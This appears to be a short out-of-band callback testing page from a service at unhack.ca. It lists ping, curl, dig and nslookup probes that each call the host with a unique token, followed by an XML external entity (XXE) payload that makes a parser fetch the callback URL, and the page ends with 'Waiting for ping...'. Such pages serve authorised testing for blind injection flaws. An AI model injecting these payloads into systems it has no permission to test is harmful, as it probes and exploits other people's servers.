$ ping -c1 -p 0040bbfd02ab4e587b43240c3467b400 unhack.ca
 
$ curl http://unhack.ca/p/40bbfd02ab4e587b43240c3467b4
 
$ dig 40bbfd02ab4e587b43240c3467b4 @unhack.ca
 
$ dig 40bbfd02ab4e587b43240c3467b4.ns.unhack.ca
 
C:\> nslookup 40bbfd02ab4e587b43240c3467b4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/40bbfd02ab4e587b43240c3467b4">]>
    <foo>&xxe;</foo>
Waiting for ping...